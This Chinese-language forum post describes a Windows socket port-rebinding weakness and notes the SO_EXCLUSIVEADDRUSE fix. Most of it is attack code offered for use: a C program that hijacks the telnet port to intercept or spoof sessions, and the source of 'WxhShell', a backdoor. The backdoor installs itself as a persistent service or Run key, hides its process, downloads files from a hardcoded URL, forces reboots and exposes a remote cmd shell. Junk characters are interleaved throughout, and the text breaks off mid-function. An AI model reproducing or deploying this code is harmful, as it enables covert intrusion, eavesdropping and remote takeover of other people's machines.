在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
HYD"#m'TkB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=!`j7#: \/1<E?Q
f saddr.sin_family = AF_INET;
)('%R|$ / Gm(b/qDDe saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Kj<^zo%w ^}:# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3'^k$;^ 6xZ=^;H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tQH+)* %*&UJpbA 这意味着什么?意味着可以进行如下的攻击:
o>7ts&rk U2`'qsR1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Q5FM8Q #m[|2R 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gFHTG ,4ei2`wV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:'*DPB- G.(mp<- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|37
g ~ K91)qI;BD 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
P&b19 K' nS&3?lx9_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zxf"87se f-5:wM& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
VY)9|JJCO ]R=,5kK3 #include
mExVYp h #include
5g9; +}X; #include
DSt]{fl`P #include
nzmDA6d DWORD WINAPI ClientThread(LPVOID lpParam);
jcI&w#re int main()
YhY:~ {
cIp
D~0\ WORD wVersionRequested;
/r-aPJX DWORD ret;
`&-Mi[1 WSADATA wsaData;
8G oh4T H BOOL val;
3"G>>nC& SOCKADDR_IN saddr;
8HR mQ SOCKADDR_IN scaddr;
e0J6Ae4V[ int err;
~t^eiyv SOCKET s;
LrATSq@ SOCKET sc;
Ma+$g1$ int caddsize;
bks/`rIA HANDLE mt;
"m ^'
&L DWORD tid;
^`G`phd$ wVersionRequested = MAKEWORD( 2, 2 );
m+#iR}*1L err = WSAStartup( wVersionRequested, &wsaData );
1P(|[W1 if ( err != 0 ) {
,}:G\u*Fu printf("error!WSAStartup failed!\n");
wbe<'/X+ return -1;
2 ho>eRX }
)=-0M9e.{ saddr.sin_family = AF_INET;
kdn'6>\ A0Zt8>w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
bzvh%RsW E@P %v{) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Qu7T[< saddr.sin_port = htons(23);
>P/][MT
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xY$iz)^0& {
Y}[ c^$S printf("error!socket failed!\n");
kWNV%RlSx return -1;
&[At`Nw71 }
1?| flK val = TRUE;
0
s70r //SO_REUSEADDR选项就是可以实现端口重绑定的
2hee./F` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
wN2QK6Oc {
Ton94:9bZ printf("error!setsockopt failed!\n");
3;8!rNN return -1;
ZvUCI8 }
ixV0|P8,c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MNg^]tpf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
STglw-TC\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
V13BB44 **+e7k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
BbRBT@ {
'(dz"PL. ret=GetLastError();
QMsHC%l3b printf("error!bind failed!\n");
2CzaL,je[ return -1;
AQc,>{Lm }
ki{3IEOr} listen(s,2);
P<Zh XN' while(1)
Fh*j#*oe {
wQ%mN[ caddsize = sizeof(scaddr);
Uz7^1.-g4 //接受连接请求
0v]?6wX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
l$YC/bP if(sc!=INVALID_SOCKET)
VL[kJi
{
vAX|hwn; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_ib"b# if(mt==NULL)
#BQ.R, {
$z$u{ printf("Thread Creat Failed!\n");
4]/7 )x?R break;
p2N:;lXM }
I(S)n+E }
Cn_$l> CloseHandle(mt);
Iu{kPyx }
>OP+^^oZ< closesocket(s);
f"(X(1F WSACleanup();
c5Q<$86 return 0;
&|aqP
\Q5 }
i[ $0a4 DWORD WINAPI ClientThread(LPVOID lpParam)
>5wx+n)/) {
fi+R2p~vs SOCKET ss = (SOCKET)lpParam;
~h"/Tce SOCKET sc;
8`b`QtGf unsigned char buf[4096];
IQ!\w- SOCKADDR_IN saddr;
gaf$uT2
long num;
@A+RVg*= DWORD val;
ex<O]kPFE DWORD ret;
+`sv91c //如果是隐藏端口应用的话,可以在此处加一些判断
gt\MS;jMa //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:d8W+|1u saddr.sin_family = AF_INET;
cv(PP-'\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q.Aw2 saddr.sin_port = htons(23);
<jS~ WI@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5~.ZlGd {
unJ R=~E printf("error!socket failed!\n");
0A:n0[V:] return -1;
fGv#s
X }
zFQ&5@43 val = 100;
&wU'p-V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8_&CT
:u> {
_Cw:J|l. ret = GetLastError();
BI:k#jO! return -1;
*0_yT$ }
w0ZLcND{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7?v#'Ies {
2qi'g:qe ret = GetLastError();
/cK%n4l.y return -1;
SSBg?H 'T }
JxjI]SF02 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"v}pdUW {
cV-1?h63 printf("error!socket connect failed!\n");
&3Zy|p4V< closesocket(sc);
5[{*{^F4 closesocket(ss);
h C=:q return -1;
9]'($:LF08 }
3M0+"l(X while(1)
eh*6cQ.0 {
E1&b#TE6O //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
b.O9ITR //如果是嗅探内容的话,可以再此处进行内容分析和记录
J4=_w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
81%8{yn!$" num = recv(ss,buf,4096,0);
dx,=Rd5' if(num>0)
&ff&Y.q~ send(sc,buf,num,0);
WhBpv(q}. else if(num==0)
^2odr \ break;
H +bdsk num = recv(sc,buf,4096,0);
idRD![!UI if(num>0)
<?0~1o\Ur send(ss,buf,num,0);
j%V["?) else if(num==0)
)c/Fasfg[P break;
8wH.et25k }
NDO\B,7 closesocket(ss);
?8,%LIQ? closesocket(sc);
rC_*sx
r^ return 0 ;
<P%}|@ }
'<iK*[NW qEUT90 ._z'g_c( ==========================================================
QMo}W{D qW_u 下边附上一个代码,,WXhSHELL
X~Rl 6/, S>q>K"j^! ==========================================================
H ftxS !5}l&7:(MN #include "stdafx.h"
xKOq[d/8 iv(5&'[p #include <stdio.h>
"tS'b+SJ-S #include <string.h>
ZiFooA #include <windows.h>
JM.XH7k #include <winsock2.h>
'rb'7=z5 #include <winsvc.h>
.r+hERcB #include <urlmon.h>
(IbW;bV [O
", #pragma comment (lib, "Ws2_32.lib")
vQ@2FZzu> #pragma comment (lib, "urlmon.lib")
>yJ-4lgZ 2WvN2"f3 #define MAX_USER 100 // 最大客户端连接数
w'7R4 #define BUF_SOCK 200 // sock buffer
m+$ @'TbP #define KEY_BUFF 255 // 输入 buffer
MVCl.o V+wH?H= #define REBOOT 0 // 重启
E{Pgf8 #define SHUTDOWN 1 // 关机
!.5),2 !SHj$Jwa' #define DEF_PORT 5000 // 监听端口
7@%'wy&A
Aw!gSf) #define REG_LEN 16 // 注册表键长度
% 0:p)Z0 #define SVC_LEN 80 // NT服务名长度
7yI@"c#O ps:f=6m2 // 从dll定义API
P`1EPF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_DPOyR2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
PWgDFL? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
smAC,-6]~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bzmr"/#D3 _'x8M // wxhshell配置信息
R@T6U:1 struct WSCFG {
+:jT=V"X int ws_port; // 监听端口
;SKh char ws_passstr[REG_LEN]; // 口令
s]B"qFA int ws_autoins; // 安装标记, 1=yes 0=no
*j)M] char ws_regname[REG_LEN]; // 注册表键名
-dTLunv char ws_svcname[REG_LEN]; // 服务名
ET^ |z char ws_svcdisp[SVC_LEN]; // 服务显示名
\[wCp*;1} char ws_svcdesc[SVC_LEN]; // 服务描述信息
mZ0J!QYk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pF=g||gS int ws_downexe; // 下载执行标记, 1=yes 0=no
H ;@!?I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y@ek=fT%4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\6j^kY= "u')g& };
\Mx
JH[ @fn6<3 // default Wxhshell configuration
QBE@(2G}C struct WSCFG wscfg={DEF_PORT,
=
Rc"^oS "xuhuanlingzhe",
`kBnSi o~ 1,
Ln#a<Rx.E7 "Wxhshell",
,i`h
x,
Rg "Wxhshell",
W,hWOO "WxhShell Service",
vrl[BPI "Wrsky Windows CmdShell Service",
*ftC_v@p5 "Please Input Your Password: ",
h!]"R<QQdu 1,
s'a= _cN "
http://www.wrsky.com/wxhshell.exe",
v1[_}N9f>H "Wxhshell.exe"
3-wD^4)O, };
{0jIY nZvU'k: // 消息定义模块
J0<p4%Cf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f5dR 5G char *msg_ws_prompt="\n\r? for help\n\r#>";
l`n5~Fs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
a,Kky^B char *msg_ws_ext="\n\rExit.";
j=sBq.S char *msg_ws_end="\n\rQuit.";
)GB`*M[ char *msg_ws_boot="\n\rReboot...";
/-*hjX$n char *msg_ws_poff="\n\rShutdown...";
\MYU<6{u char *msg_ws_down="\n\rSave to ";
KHj6Tg;) 6!7Pm>ml char *msg_ws_err="\n\rErr!";
+$beo2x6 char *msg_ws_ok="\n\rOK!";
I
,FqN} M?6;|-HH char ExeFile[MAX_PATH];
s^|\9%WD int nUser = 0;
99ASIC! HANDLE handles[MAX_USER];
KjR4=9MD int OsIsNt;
Uxl(9 6 pVokgUrC SERVICE_STATUS serviceStatus;
$-pbw@7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
b6W#SpCF iK}v`xq // 函数声明
|+ 7f2C int Install(void);
!;}2F- int Uninstall(void);
P\B3
y+) int DownloadFile(char *sURL, SOCKET wsh);
LdTIR] int Boot(int flag);
,?b78_,2 void HideProc(void);
/mbCP>bcG int GetOsVer(void);
5j[#'3TSU int Wxhshell(SOCKET wsl);
Sb<\-O14" void TalkWithClient(void *cs);
r\mPIr| int CmdShell(SOCKET sock);
kV^?p int StartFromService(void);
&6"P7X int StartWxhshell(LPSTR lpCmdLine);
GgdlVi 2 5RhF+p4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VO9f~>`( VOID WINAPI NTServiceHandler( DWORD fdwControl );
F3 f@9@b *wUdC // 数据结构和表定义
E%*AXkJ'dZ SERVICE_TABLE_ENTRY DispatchTable[] =
d^aNR
Lv {
~zMKVM1Q., {wscfg.ws_svcname, NTServiceMain},
AVpuMNd@ {NULL, NULL}
r{ "uv=,` };
3X'WR] i[=C_+2 // 自我安装
{})y^L int Install(void)
f'_S1\ {
6lU|mJ`M char svExeFile[MAX_PATH];
nVTM3Cz HKEY key;
i<:p.ug-O strcpy(svExeFile,ExeFile);
6UB6;- + U5U.f% // 如果是win9x系统,修改注册表设为自启动
<JH9StGGc? if(!OsIsNt) {
`E;)`J8b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4<yK7x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'^1o/C RegCloseKey(key);
%gTVW!q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$[QcEk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
sX~45u \ RegCloseKey(key);
51/sTx<Z} return 0;
Vj7Hgc-, }
nt`<y0ta }
|8;?
*s`H }
i@{*O@m else {
lVT&+r~r [D9 :A // 如果是NT以上系统,安装为系统服务
=+(Q.LmhC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
l'2H4W_+ if (schSCManager!=0)
y*|L:! {
x~(y "^ph SC_HANDLE schService = CreateService
'_E c_F (
^6&_|f schSCManager,
UC#"=Xd4 wscfg.ws_svcname,
<[5#c*A wscfg.ws_svcdisp,
u2,H ]- SERVICE_ALL_ACCESS,
E@]sq A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
]W|RtdF3.N SERVICE_AUTO_START,
K Dz]wNf SERVICE_ERROR_NORMAL,
%%x0w^ svExeFile,
r$?Vx_f`Q NULL,
i"fCpkAP NULL,
;r=?BbND? NULL,
f~v"zT NULL,
b\M b*o NULL
a'^0.1 );
|P~q/Wff if (schService!=0)
777rE[\@b {
EFv4=OWB CloseServiceHandle(schService);
:'ihE\j CloseServiceHandle(schSCManager);
L,%Z9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
f:FpyCo=9 strcat(svExeFile,wscfg.ws_svcname);
:4] J2U\@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
JQH7ZaN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}_vM&.GFlL RegCloseKey(key);
F b2p(. return 0;
XP4jZCt9 }
q@w"yz> }
mR!rn^<l CloseServiceHandle(schSCManager);
:OX$LCi }
>OTl2F}4 ! }
-Fa98nV.WB -UTV:^ return 1;
"YD.=s }
6,3}/hgWJ$ x36NL^ // 自我卸载
fYs?D+U;PF int Uninstall(void)
Yim#Pq&_ {
"p`o]$Wv HKEY key;
[Q=4P*G}X m"q/,}DR if(!OsIsNt) {
OU6^+Ta if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/xF 9:r RegDeleteValue(key,wscfg.ws_regname);
6VGo>b; RegCloseKey(key);
0+p
5/5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CBIT`k.+ RegDeleteValue(key,wscfg.ws_regname);
-@#Pc# RegCloseKey(key);
!&\meS{ return 0;
a.1`\$]d }
<(Tiazg }
+!G4tA$g }
K^8@'#S else {
mUiOD$rO 8Y7 @D$=w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
srhFEmgN7) if (schSCManager!=0)
!4_!J (q% {
vD_u[j] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
y3Y2QC( if (schService!=0)
# UjEY9"M {
.byc;9M% if(DeleteService(schService)!=0) {
[:Xn6)qz CloseServiceHandle(schService);
` v>/
CloseServiceHandle(schSCManager);
eC.w?(RB return 0;
i>WOYI9 }
0}6QO CloseServiceHandle(schService);
J/L)3y }
+&(Jn CloseServiceHandle(schSCManager);
<Ak:8&$O }
6(,ItMbI }
N:twq&[Y oO8]lHS?@ return 1;
Z0{f }
G]at{(^Vz EgFl="0 // 从指定url下载文件
l<s :%%CX int DownloadFile(char *sURL, SOCKET wsh)
" S ?Km {
>J9IRAm}sc HRESULT hr;
cxL,]27Bu char seps[]= "/";
>}70]dN7b char *token;
6|%^pjX5 char *file;
JThk Wx char myURL[MAX_PATH];
!B0v<+;P8 char myFILE[MAX_PATH];
JN-D/s N&x@_t"" strcpy(myURL,sURL);
5
Xk~,%-C token=strtok(myURL,seps);
1V#0\1sj while(token!=NULL)
o.p+j {
md.* file=token;
o`oRG)QC token=strtok(NULL,seps);
SnH:(tO[X }
zUe#Wp[ Hf;RIl2F GetCurrentDirectory(MAX_PATH,myFILE);
=7*oC strcat(myFILE, "\\");
5dbX%e_OP strcat(myFILE, file);
Ma% E&.ed send(wsh,myFILE,strlen(myFILE),0);
yjeqv-7 send(wsh,"...",3,0);
jn0t-": hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
I:r($m if(hr==S_OK)
}]uB?
+c return 0;
Iz 1*4@ else
T^rz!k{ return 1;
hz&^_G6` Dh*~U:6$g }
U{j5kX \Mobq // 系统电源模块
x&mz- int Boot(int flag)
dY/|/eOt<K {
[GcA.ABz HANDLE hToken;
5JJg"yuY" TOKEN_PRIVILEGES tkp;
8#[%?}tK 2<`gs(oxXe if(OsIsNt) {
JS<e`#c& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Dx9$H++6$X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'p4da2% tkp.PrivilegeCount = 1;
r*~n` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r4]hS`X~% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`?Y_0Nh> if(flag==REBOOT) {
?yK%]1O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hlABu)B'1 return 0;
CDwFVR'_Af }
]%vGC^ else {
wj5qQ]WC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'@3a,pl return 0;
,_wm, }
iA1;k*)q }
.(gT+5[ else {
hIE%-gZ/ if(flag==REBOOT) {
J?|K#<% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
lEVQA*u[ return 0;
A*-]J=:E { }
C7XS6Nqu else {
3.K{T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
KV)Hywl` return 0;
?
bUpK }
}
Y7W1$he }
>yPFL' X*c_^g{ return 1;
FBwncG$]F* }
ZmYSi$B /w}B07. // win9x进程隐藏模块
JYVxdvq1 void HideProc(void)
tehI!->l {
yccuTQvz 9FIe W[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S,)|~#5x if ( hKernel != NULL )
CLFxq@%nu~ {
J4*:.8Ki pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,:dEEL+>c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6iV"Tl{z- FreeLibrary(hKernel);
4/-))F&s }
zvK5Zxl 4,*^QK return;
9qu24zz$P }
ou,=MpXx* f2w=ln // 获取操作系统版本
GJ^]ER-K int GetOsVer(void)
mC[U)` ey {
9Qs"X7iH OSVERSIONINFO winfo;
yV+ E; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nTlv'_Y( GetVersionEx(&winfo);
*3etxnQc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ek;&<Z_ ] return 1;
BJ.8OU*9]S else
h<^:Nn return 0;
U<,Kw6K }
,Q /nS$ %&=(,;d // 客户端句柄模块
rJc)<OZjT int Wxhshell(SOCKET wsl)
G=bP<XF {
8HRPJSO~g SOCKET wsh;
V^$rH< struct sockaddr_in client;
v(Zi;?c DWORD myID;
^Mvsq) eE riv@v while(nUser<MAX_USER)
%[\Ft {
";S*[d.2tA int nSize=sizeof(client);
=`\,2Nb wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
b#I*~ if(wsh==INVALID_SOCKET) return 1;
>2Qqa;nx| Dy{`">a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(P>eWw\0 if(handles[nUser]==0)
o"ah\"#el closesocket(wsh);
~ Dp:j*H else
,M/#Q6P0} nUser++;
va/4q+1GfH }
MkNURy>n& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
j'40>Ct=i <Ec)m69P return 0;
%d[xr h }
rX>y>{w~ ZV q // 关闭 socket
L]}RSE2 void CloseIt(SOCKET wsh)
2bn@:71` {
">vYEkZ3 closesocket(wsh);
4wj| nUser--;
hpz*jyh8 ExitThread(0);
^3)2]>pW }
T;[c<gc/ , w'$T) // 客户端请求句柄
~h^}W$pO void TalkWithClient(void *cs)
if!`Qid {
~j&:)a'^
k-ex<el)# SOCKET wsh=(SOCKET)cs;
6[2?m*BsN char pwd[SVC_LEN];
{|J2clL char cmd[KEY_BUFF];
}
Ved char chr[1];
-z 5k4Y int i,j;
.kKwdqO+zB ~!d)J while (nUser < MAX_USER) {
,S0~:c:) :k )<1ua if(wscfg.ws_passstr) {
eZod}~J8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ocuVDC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UrcN? //ZeroMemory(pwd,KEY_BUFF);
PUZXmnB i=0;
G*~*2>~ while(i<SVC_LEN) {
7@cvy?
v{ 7(g&z% // 设置超时
n`T[eb~ fd_set FdRead;
NDa|., struct timeval TimeOut;
0G\myv FD_ZERO(&FdRead);
+$QL0|RL FD_SET(wsh,&FdRead);
'/Cz{<, TimeOut.tv_sec=8;
Ce'2lo TimeOut.tv_usec=0;
. nF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
kq.h\[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vgW1hWmHJ (`y|AOs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
y3[)zv pwd
=chr[0]; i[\u-TF
if(chr[0]==0xd || chr[0]==0xa) { S@G{|. )2
pwd=0; U8$dG)PhA
break; kmr
4cU5
} PM<LR?PLc
i++; U4L=3T+:[
} V1 #aDfiW
ecZOX$'5
// 如果是非法用户,关闭 socket Ww
tQ>'R"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XhD fI
&
} *n_4Rr
wY_-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G{Enh<V
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DD$Pr&~=
27 TZ+?
while(1) { y^46z(I
3R:i*8C
ZeroMemory(cmd,KEY_BUFF); <.(/#=2
z slEUTj)
// 自动支持客户端 telnet标准 u&_U
CJCf
j=0; @OY-(cW
while(j<KEY_BUFF) { 0\ w[_H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *#^1rKGWK
cmd[j]=chr[0]; qq_,"~
if(chr[0]==0xa || chr[0]==0xd) { \Y[)bo6s
cmd[j]=0; Hpg;?xAT
break; N&h!14]{Z
} |<
FCt-U
j++; M*6@1.n
} NP'DuzC
4"(zi5`e
// 下载文件 O Lup`~
if(strstr(cmd,"http://")) { G( \1{"!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); T<?BIQz(}
if(DownloadFile(cmd,wsh)) }Q^a.`h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *>$)#?t
else &p4<@k\L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dTQvz9 C
} A":b_!sW
else { >D4Ez
6jo&i
switch(cmd[0]) { B]F7t4Y!
"I FGW4FnL
// 帮助 qML*Kwg
case '?': { .%Q Ea_\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,4W((OQ^
break; $[CA#AXE
} 5@%-=87S
// 安装 5m?$\h
case 'i': { j:KQIwc
if(Install()) &*GX:0=/>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5w{pX1z1
else A;x^6>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oz-I/g3go
break; :=eUNH
} X
hX'*{3k
// 卸载 kK|+W,
case 'r': { !*UdY(
if(Uninstall()) yP4.Z9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \U>Kn_7m
else E"&9FxS]^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AV3,4u
break; :Ia&,;Gc
} =T}uQ$X
// 显示 wxhshell 所在路径 J4 #]8!A
case 'p': { xumv I{
char svExeFile[MAX_PATH];
"1Aus
strcpy(svExeFile,"\n\r"); 8mLU ~P
|
strcat(svExeFile,ExeFile); 4PM`hc
send(wsh,svExeFile,strlen(svExeFile),0); q#3X*!)
break; ^(vd8 &71
} ?+=|{{l
// 重启 yvisoZX
case 'b': { j1+Y=@MA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zL8A?G)=M
if(Boot(REBOOT)) ScoHtX3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oz@6%3+
else { 7!nAWlQ&-E
closesocket(wsh); Hvo27THLo
ExitThread(0); Y{tuaBzD
} /y|r iW
break; bR,Iq}p
} JhIK$Ti
// 关机 p;=(-4\V}
case 'd': { (k&aD2PH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0*@S-Lj^c
if(Boot(SHUTDOWN)) D +""o"%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p,Hk"DSs%
else { <t37DnCgI
closesocket(wsh); In
M'zAhb
ExitThread(0); ]_8 \g`"u
} 3y ,?>-
break; 7'uc;5:
} !I_4GE,
// 获取shell cSk}53
case 's': { ", )
CmdShell(wsh); {?hjx+v[
closesocket(wsh); 0 %+k>(@R
ExitThread(0); r'\TS U5!
break; ".D +#
2Kl
} j~q`xv+R
// 退出 Mwc3@
case 'x': { {2@96o2}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x)L@xQ
CloseIt(wsh); IyP].g1"U
break; X&Lt?e,&
} /Ql}jSKi
// 离开 =>*N W9c
case 'q': { ht9b=1wd%s
send(wsh,msg_ws_end,strlen(msg_ws_end),0); H]X)@n>
closesocket(wsh); EPy/6-5b
WSACleanup(); hGV/P94
exit(1); Q#KjX;No
break; 4/>={4Y9
} lej{VcG
} 6u7wfAf
} PM7/fv*,
p#2th`M:P1
// 提示信息 >,3
3Jx
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I#U44+c
} R0}%
} e IA=?k.y
9#!tzDOtD
return; z?,5v`,t2
} e_V(G
{AUEVt
// shell模块句柄 :^a$ve3(Jq
int CmdShell(SOCKET sock) U w"
{ 4>* `26
STARTUPINFO si; (.o'1'
ZeroMemory(&si,sizeof(si)); Jiq[VeLe
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
N=9lA0y+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W6Pg:Il7
PROCESS_INFORMATION ProcessInfo; _8
J(;7
char cmdline[]="cmd"; \ua.%|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); plfB}p
return 0; -;}Wm[
} tO7{g
RMK
U5A7
// 自身启动模式 BxF
int StartFromService(void) ?*,q#ZkA9W
{ k1J}9HNYR
typedef struct Kl? 1)u3^4
{ ] ?(=rm9u
DWORD ExitStatus; G<'S
DWORD PebBaseAddress; . {I7sUQ
DWORD AffinityMask; 7(H/|2;-d8
DWORD BasePriority; Ry C7
